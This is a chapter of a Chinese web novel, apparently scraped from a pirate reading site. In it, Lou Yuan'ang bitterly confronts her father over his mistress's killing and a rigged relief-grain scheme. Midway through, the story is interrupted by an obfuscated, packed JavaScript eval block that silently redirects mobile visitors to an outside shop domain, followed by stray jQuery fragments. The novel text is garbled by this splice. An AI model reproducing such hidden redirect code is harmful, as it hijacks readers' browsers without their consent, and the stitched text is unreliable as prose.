文趣网 > 都市小说 > 迷失天堂 > 26. 长公子(一)
    回高陵的一路多有折磨,楼初英特意改装了马车,故而楼元盎受的颠沛之苦不算很多,但和到了高陵后的“折磨”比起来,还是太痛苦了。

    柳术在外应付完一圈后回屋时,正听见楼元盎大笑不止,他探头一看,是小荷。小荷一见他回来,连忙拘束地闭上嘴巴,倒是楼元盎还在笑:“唉,我真该亲眼看看的,他出丑这样的场面,真是几年都遇不见一次呢。”

    “姑爷,您回来了。”

    柳术朝她颔首,又问:“说什么这么有意思?”

    他几乎没见过楼元盎笑得这么有兴味。

    小荷朝楼元盎眨眨眼,一溜烟跑出了屋。

    “说我哥哥呀,你是不知道他被母亲骂得狗血淋头,又被舅舅明里暗里挤兑了一番,哈哈哈……”

    柳术僵笑一声。

    此番去栾平,在滕家人这里抛出的借口是他们新婚顺路去河东解县柳氏老宅,路上磕碰,于是半途而返;而在楼夫人和滕雄芝那里则只能老老实实地交代出了姚氏,但这二位长辈知道的版本中的男主角还只是年轻风流的楼初英,所以为了救济他的老情人把宝贝妹妹伤到了,楼夫人和滕雄芝的怒火可想而知。

    短短一个下午,楼元盎就躺在床上接受了好几波人的慰问,此时笑完了,略感疲惫,她耷拉着眼皮,迷迷糊糊地问:“那他呢?又走了吗?”

    柳术将她的被角叠好,“嗯,事情还是要办的,就先回去了,让我给你捎个话,他很快就会回来。”

    “哼哼,忙死他……”

    柳术又将她的鞋子摆好,将床头的灯灭了,再听她嘟嘟囔囔几句,最后直起身看来时,楼元盎已经睡熟了。

    眉宇舒展,不带半分清醒时的焦灼与愁绪。

    柳术站在床头看了许久,然后轻轻将帷帐拉上,送她这一夜漆黑的好眠。

    楼初英走时曾提醒过他,楼元盎的腿伤得不重不轻,却也要好生养上个把月,他剩下的那丁点婚假必然是不够陪她在高陵慢慢养的,如若逾期不归、把小小翰林编修的官职丢了,楼家可不会为他开后门,柳衡上想来也没这个脸让吏部通融。

    他让自己想想要怎么办。

    柳术猜得出楼初英的心思,尤其是在楼元盎说过那一番话之后。

    他希望自己把官辞了,老老实实地为楼元盎前倨后恭,又或者慢慢地熬,熬到终于成为楼家的一份子时,再授一个楼家给的官,就此平步青云,给楼元盎争诰命、给她长脸。

    毕竟据他所说,与楼元盎相熟的那些姑娘,要么嫁王孙公子,要么嫁新秀精英,要么实在是夫家助益颇多、难以拒绝,实在没几个像楼元盎这样稀里糊涂嫁人的,虽然柳氏势大,但他柳术除了一张脸——被骂吃白饭的小白脸、一身功名——被骂死读书的腐儒生,实在是乏善可陈。

    楼初英已经说得很委婉了。

    他都替楼元盎为此、为他感到丢人。

    柳术将心慢慢沉下去。

    但其实他这种身份,是最好升官的。本家有点势力,岳家有更出了首辅,他还娶的是楼家将来家主的独女、那么耀眼的楼初英的胞妹,再没出息的人坐在他的位子上,也会被柳家、楼家一竿子神通广大的亲戚拔苗助长,一直拔到最尖尖去。

    就如楼初英说的,楼家再看不上他,为着楼元盎的面子,也会助他登顶;柳家就更不用说了,柳衡上梦里都想让他出人头地、光耀门楣。

    又其实,翰林编修的起点也很高很不错了,那些出将入相的大人物,早年都是翰林院里的愣头青,每位宰辅都是这么过来的。

    但现在,又是为什么呢?他还有什么不满的呢?他怎么像是一生困厄的穷书生,寒窗十几载刚入官场,仕途便被无情宣告夭折呢?

    或许是太过着急了。

    但婚前柳衡上就和他透过风,说是让他忍耐,或许要忍上几年,乃至十几年。

    忍受官场上所有的打压,忍受所有背地里笑他是首辅赘婿的风言风语,忍受外间所传楼家人的傲慢,忍受和极品出身的千金小姐朝夕相对时的压迫,忍受所有一切他没有忍受过的。

    但他的起点已经是绝大多数人的终点,就算是在化隆帝都这样一个馅饼砸下来能死一轮皇亲贵戚的地方,他也是众人间、婚事上极其顺风顺水的那个幸运儿。

    他还有什么不满的。

    就算老老实实地把官辞了,也没什么能不满的。

    失去的都会回来,还会连本带息、变本加厉地回来。

    柳术背靠上门,对着无云无月的夜空慢慢叹息。

    这个夜空落落的,连天幕下滕宅的灯火都十分稀疏。

    但柳术的心被塞满了,满满当当的,是那些年一个字一个字背的书、一笔画一笔画练的字、一卷一卷作的文章、一盏一盏熬灭的灯。

    他出生富贵,一辈子到现在,所得之物皆非所能,只有这科举的名次、翰林院的官职,勉强算是他靠着自己的能力拿到的。

    除此之外。

    出身带给他的裨益在楼元盎身上集大成。

    楼元盎啊——

    他对天对地,背对着门内的她。

    幽幽叹息。

    “诶?姑爷您怎么在门外?”

    来的是裘妈妈,柳术朝她拱手,在唇上比了一个噤声的手势。

    裘妈妈笑笑:“元娘休息了啊,那真是不巧了,夫人让我来问问,过几日老爷忙完了公事,就会从化隆来,夫人问元娘有什么想要的,让老爷一并带来。”

    “着急吗?”

    “不急不急,明日我再来问。”

    “那就劳烦裘妈妈了。”柳术又拱手,送走她。

    化隆还有什么是在高陵的楼元盎会想要的吗?

    柳术想不出来。

    连梅子饼和樱桃煎都不过如此,或许,楼彭真要为她带来些什么,就把楼初英带来吧,也许她真会高兴点。

    **

    但楼彭并没有带来楼初英。

    随他自化隆而来的只有早已冷透了的梅子饼。

    还是楼初英吩咐人早早排队去买的。

    将楼元盎送到滕雄芝收拾出来的书房,柳术朝老丈人楼彭拱拱手。

    楼彭应下他的礼数,“渊微啊,这些日子照看元娘,辛苦你了。”

    楼元盎抢白道:“他不过端茶送水,举手之劳,真正辛苦的是父亲,也是哥哥,为了楼家,四处奔波。”

    楼彭的笑略微僵结,视线从楼元盎脸上扫到还站在门边的柳术脸上。

    柳术会意,正要一垂首退出这块是非之地,便听楼元盎吩咐道:“柳渊微,这里太阳太晒了,劳烦你推我到阴凉地里。”

    没有过多的迟疑,柳术推着楼元盎的轮椅,一同站到了巨大的红木书架投下的一片阴影里。回头看,门还大敞着,明媚春光无边生机,在悬水河答案即将接近尾声的现在,不请自来。

    楼彭表情松动,自己走到门边,边阖上门,边背对着他们笑道:“若论真正辛苦,苦的是百姓,是边关的将士。”

    “四海之内尚且哀鸿遍野,这长风关与长关,朝廷是怎么也顾不上了吧?”

    “不过最难的时候已经熬过来了,大家都可以放心了。”

    “是么?”楼元盎抬头,望向顺着窗棂中流淌下来的日光缓缓转身的楼彭,“父亲,您的心,放下来了吗?”

    他的脸是黑的,看不清眼神与表情,但短暂的沉默里,柳术辨得出他糟糕的心情。

    “柳渊微,你避一避。”

    楼元盎一把扯住柳术的袖子,梗着脖子问:“他有什么好避的?栾平,可是他与我一块儿去的!”

    “元娘!不要耍小性了!”

    “究竟是谁在耍性子!”

    柳术本没有要走,连忙将情绪激动得要从轮椅上跳起来的楼元盎按下,那边楼彭指着她,冷冷说道:“别以为我不知道你做了什么!”他抬眼,剜过柳术,“看来长风关的事情他也都知道了,你们夫妻两个互相坦白,真是两家幸事。”

    楼元盎冷笑:“想用这些事情威胁我?父亲,您看看您做的事情、说的话,长不大的那个任性的小孩儿到底是谁!”

    “楼元盎!”

    她一掌拍在扶手上,“姚氏是我杀的,我!让那个范永材杀的!您养着她、他、他们,早该想到会有这么一天的,稚子怀璧为罪,何况她一个女人,坐拥家产千万,你说谁不动心起念!”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738071|207083||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    楼彭一把摔碎了手边的青瓷烛台。

    楼元盎的声音更加响亮了:“还有那个孩子,她的孩子,一个未必姓楼的孩子,一尸两命,特别利落,所以我佩服范永材,做事就往绝了做,从不优柔寡断、瞻前顾后,让人拿住了踪迹、捏住了把柄,还差点要往陷阱里跳!”

    楼彭攥住手。

    “您知道栾平除了哥哥的人,还有别人盯着她吗!在那里守株待兔,掰着手指等,看看是谁现在当这个冤大头——掺沙的赈灾粮啊,不是当地县衙将沙子兑到粥里,而是沙子掺在米里!从不知哪个仓,一路往下发到栾平,发到范永材手上!发到祖父的门生洪弁手底下的范永材那里!”

    楼元盎死死瞪着他,“这是有人在做局啊,若非我知道祖父的为人,不然我当真要以为,这是您的手笔,您自毁长城的手笔呢——”

    话音刚落,柳术来不及反应,楼彭的手掌便落在了距离楼元盎脸颊不过寸许的距离。楼彭的手在抖,他像是用尽了力气控制着它,又像是用尽了力气想要挣开它。可楼元盎探身,硕大的眼泪便碎在了衣襟。

    “逆子!你敢这么说你的父亲……”

    “我是逆子啊,那楼初英是什么?”

    楼彭深吸一口气,放下手。

    柳术觉得是他的错觉,他好像看见了楼彭眼中对自己的忌惮,但楼元盎肆无忌惮,冲着连退了几步,捂着心口在长案边顺气的楼彭喊道:“你还当他是儿子吗!”

    楼元盎捶着扶手,“水都没退呢,兵备道的人影子连都没有,你就敢指派他去那种地方!是巴不得他染个病、被暴民袭击、丢了命,巴不得他死啊?巴不得他早点死,然后气死母亲,好给你的小情人腾位子?”

    “哗啦——”

    横扫书案,楼彭已经气得七窍生烟,但对着楼元盎,他始终没有再进半步。

    “你们很早就勾搭上了吧?不然你为什么这么着急啊,在我很小的时候,就已经在给哥哥洗脑了,让他仇视、鄙视、恨他的母亲!发现他不听话,就来哄我?”

    楼元盎撑着扶手,“您可是我们的父亲啊,生我们、养我们、教我们的那个人……呵——”她嗤笑:“那母亲是什么?是时时刻刻提醒着你,让你认清自己无才无德、无品无行,甚至对着将门出身的妻子连丈夫的威风都抖不起来的‘贱人’?”

    楼彭的呼吸在喷火。

    “在楼氏,曾祖当家,然后是祖父,然后就是您了。在我和楼初英面前,您就是一家之主,母亲又何曾没有向你伏低做小?可您依然觉得憋闷、憋屈,觉得儿子不听话,窝囊、废物……那您当时为何不坚决地拒婚?这样也不用生出楼初英这种‘不敬君父’的‘东西’了。”

    楼元盎重新跌坐回轮椅,“您不能啊,您没法违逆你的君父,没法对那大好的前程说不,没法割下您的贪心。”

    楼彭闭眼,嘘出一口气,“元娘,我待你,难道不好吗?你为何也像他们一样充满了戾气……”

    “父亲!”

    他抬起头,看过来。

    “如果我的命能换姚氏腹中的孩子一命,您会答应的吧?”

    一息。

    两息。

    三息。

    书案都被他掀翻了。

    “毕竟,比起母亲生的我,还是男孩子更重要些。”

    柳术垂下眼。

    她的哀伤一目了然,在这废墟般的房间里肆意流淌。

    **

    滕家的这间书房被守得很好,哪怕楼彭摔门走了,也没有人好奇地往里面窥探。

    楼元盎叹了一口气,虚弱地靠回椅背。

    柳术从没见过方才那样的楼元盎,此刻看见她抬起头送给自己的一个笑容里多是无奈,只觉得那日的“恐怖”被冲淡了几分,却又酝酿起更加浓稠的愁绪。

    他摸摸她的头发,“为什么要把我留下?”

    楼元盎往后一仰,他便托住她的脑袋。

    柔软的,坚硬的,在他手中。

    “他想打我的,你看见了。”

    柳术俯身看她。

    “日后还得父慈子肖的,所以啊,你在边上,就防止这一巴掌,打散了我和他的父女情。”